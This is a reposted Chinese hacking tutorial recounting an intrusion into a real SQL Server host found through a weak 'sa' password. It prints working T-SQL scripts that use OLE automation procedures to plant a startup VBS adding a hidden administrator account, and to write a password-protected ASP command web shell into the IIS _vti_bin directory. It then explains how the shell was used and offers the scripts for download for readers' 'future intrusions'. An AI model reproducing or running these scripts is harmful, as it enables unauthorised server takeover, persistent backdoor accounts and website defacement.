轉載自:http://www.bitscn.com/plus/view.php?aid=45439
SQL ERRORLOG的啟動信息
2014-03-06 15:04:40.14 spid51 Attempting to load library 'xplog70.dll' into memory. This is an informational message only. No user action is required.2014-03-06 15:04:40.25 spid51 Using 'xplog70.dll' version '2009.100.1600' to execute extended stored PRocedure 'xp_msver'. This is an informational message only; no user action is required.
黑客X檔案第7期57頁,青野志狼有一篇文章<<對SA的權限突破>>。文章寫到了在知道sql服務器的SA用戶名弱密碼后,而服務器去掉了SA的xp_cmdshell權限的情況下,如何通過SQL命令恢復SA的xp_cmdshell權限來進行入侵。這樣入侵(詳細請看原文)的前提是服務器的xplog70.dll沒有被刪除或改名,這一點青野志狼也談到了,但是他沒有寫在xplog70.dll被刪掉或改名的情況下的入侵方法。這里就把我曾經在這樣情況下一次成功的黑站驗給大家分享一下。
先來看我對xx.41.153.190的掃描結果。x-scan2.3掃描后的詳細漏洞表如下:
[開放端口]21/80/1433/3389 [sql弱口令]sa(aaa) [CGI漏洞] /_vti_bin/fpcount.exe?Page=default.htm|Image=2|Digits=1 [漏洞描述] /_vti_bin/shtml.dll/nosuch.htm [漏洞描述] /_vti_bin/shtml.dll [漏洞描述] /_vti_bin/shtml.dll/_vti_rpc [漏洞描述] /_vti_bin/shtml.exe [漏洞描述] 除了這幾個漏洞,x-scan2.3再沒有掃出別的了,好在有sql弱口令。用sql連接器連上看看吧,可大失所望。dir命令不能執行,好像是服務器去掉了SA的xp_cmdshell權限。
我再用sql的查循分析器來連接SQL服務器恢復cmd_shell權限試試。在sql的查循分析器里寫入 sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’,但是顯示錯誤。
看樣子是xplog70.dll被改名了。抱著試試看看的態度,再用sql連接器連上,執行dir命令,依然依顯示圖1的情況。
這種情況下怎么辦呢?既然有了sql弱口令,而且sql的查循分析器也可以連接上,當然也可以用它來寫一些文本程序在服務器上。再打開查循分析器,在彈出的文本框里寫入以下sql腳本命令:
declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate ’scripting.filesystemobject’, @o out ---給菜鳥加個簡單注釋,這兩行代碼是建立sql的文本對象 exec sp_oamethod @o, ’createtextfile’, @f out, ’c:/docume~1/alluse~1/「開始」菜單/程序/啟動/a.vbs’, 1 --在啟動菜單里寫入a.vbs,當然這里只支持中文 exec @ret = sp_oamethod @f, ’writeline’, NULL, ’set wshshell=createobject("wscript.shell")’ --單引號里的都是a.vbs的內容,要一行一行的寫,下同。 exec @ret = sp_oamethod @f, ’writeline’, NULL, ’a=wshshell.run ("cmd.exe /c net user lcx 123 /add",0)’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’b=wshshell.run ("cmd.exe /c net localgroup administrators lcx /add",0)’ --a.vbs內容結束 執行查循后,這樣就會在服務器的啟動程序里寫入一個a.vbs腳本。
只要服務器重啟,就可以加入一個用戶名是lcx,密碼是123的管理員用戶了。做完這一切后我就開始等待服務器重啟了,可是等到花兒也謝了,這個用戶也沒加成功,我用lcx的用戶名和密碼123一直也登陸不了3389端口。不知是服務器沒重啟,還是服務器不是中文系統(因為這個sql腳本只支持中文),還是被管理員發現了,總之就是沒加成功。在這之后,我就陷入了深思。于是回頭看x-scan的漏洞掃描報告,上安全焦點查了一些掃到的漏洞資料,還是一無所獲,掃到的漏洞都沒有太大的利用價值。思考中,突然靈光一閃,_vti_bin是一個虛擬目錄,在IIS上默認的物理路徑是C:/Program Files/Common Files/Microsoft Shared/Web Server Extensions/isapi/,我可以在這里用sql的查循分析器寫入一個asp程序呀。先看看思路對不對,執行http://ip/_vti_bin/,返回403錯誤碼。
證明服務器這個虛擬目錄是存在的。好了,我開始寫sql腳本,一行一行寫得好累呀,做個黑客也不容易呀(本想寫入海陽頂端網木馬xp.net版。可代碼太多了):
declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate ’scripting.filesystemobject’, @o out --給菜鳥加個簡單注釋:還是建立sql程序的文本對像 exec sp_oamethod @o, ’createtextfile’, @f out, ’C:/Program Files/Common Files/Microsoft Shared/Web Server Extensions/40/isapi/lcx.asp’, 1 --在這個目錄寫入一個lcx.asp文件,沒有就生成,你可以根據需要改成別的目錄。 exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<% if Request("passWord")=1234 then’ --單引號里都是lcx.asp代碼內容,要一行一行的寫呀,我寫的是一個改裝的cmd.asp,下同。 [Page]
exec @ret = sp_oamethod @f, ’writeline’, NULL, ’session("password")="lcx"’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’response.redirect Request.ServerVariables("URL")’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’elseif session("password")="" then %>’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<FORM name="user" method="POST"> <INPUT TYPE=password NAME=password> <INPUT TYPE=Submit VALUE="確認提交"> </form>’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<%else%>’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<HTML>’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<input type=text name=".CMD" size=45 value="<%= szCMD %>">’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<input type=submit value="執行" class="input">’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’</FORM> <pre>’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<% Dim oScript,oScriptNet,oFileSys, oFile,szCMD, szTempFile’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’On Error Resume Next’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Set oScript = Server.CreateObject("WSCRIPT.SHELL")’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’szCMD = Request.Form(".CMD")’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’If (szCMD <> "") Then ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’szTempFile = "C:/" & oFileSys.GetTempName( ) ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’ End If ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’If (IsObject(oFile)) Then’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’On Error Resume Next’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Response.Write Server.HTMLEncode(oFile.ReadAll) ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’ oFile.Close ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’ Call oFileSys.DeleteFile(szTempFile, True)’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’End If %> ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’</BODY> </HTML> ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<%end if %> ’ --好累,代碼終于寫完了
然后我將這段腳本放在查循分析器里執行,運氣不錯,服務器的iis是默認安裝的,顯示命令成功完成。
迫不及待的來看看運行結果吧,
哈,成功了。忘記告訴你,剛才運行的這段sql腳本,會在C:/Program Files/Common Files/Microsoft Shared/Web Server Extensions/isapi/這個物理目錄下,也就是虛擬目錄_vti_bin目錄下生成lcx.asp這個asp文件,是一個改裝的cmd.asp了,密碼是1234。輸入密碼1234后,再來看看,得到一個cmd的網頁shell了。
雖然權限不是很大,但是查看服務器敏感信息,黑掉服務器的網頁是綽綽有余的。我就用這個lcx.asp在服務器的C:/Program Files/Microsoft SQL Server/MSSQL/Binn這個目錄里發現了一個可疑的xplog701.dll文件,和原來的文件大小比較,果然是一個改名的xplog70.dll。也許有的人要說,你可以再將名字改回來呀。我也試過,雖然改過名,也需要重啟mssql服務,這個xplog70.dll才可以加載??礃幼游业倪\氣到了盡頭,在這臺機器上再沒有得到太多滲透入侵結果了。
后來我在本機做過測試,我是w2k+sp3+iis5.0+fat32系統,在默認安裝情況下,一些默認的虛擬目錄用sql 查循分析器大都是可寫的,而且這些默認的虛擬目錄對應的物理目錄都是固定的。除了上文講到的_vti_bin外,還有像http://ip/printers對應的是C:/WINNT/web/printers,http://ip/對應的是c:/inetpub/wwwroot等等。所以平常說的暴露物理路徑的危害由此實例可以管中窺豹了。
最后,我將本文中兩個sql腳本和我改裝過的lcx.asp為了大家今后入侵的方便,放在這里供大家下載(同url下的vbs.sql/asp.sql/lcx.asp壓縮包里有),如果你今后也遇到同樣情況,省去你手工輸入的麻煩了,但我可不鼓勵你入侵呀。
參考文章:
服務器安全部署文檔
Windows2003 SQL2005解決系統Administrator密碼不知道的問題
新聞熱點
疑難解答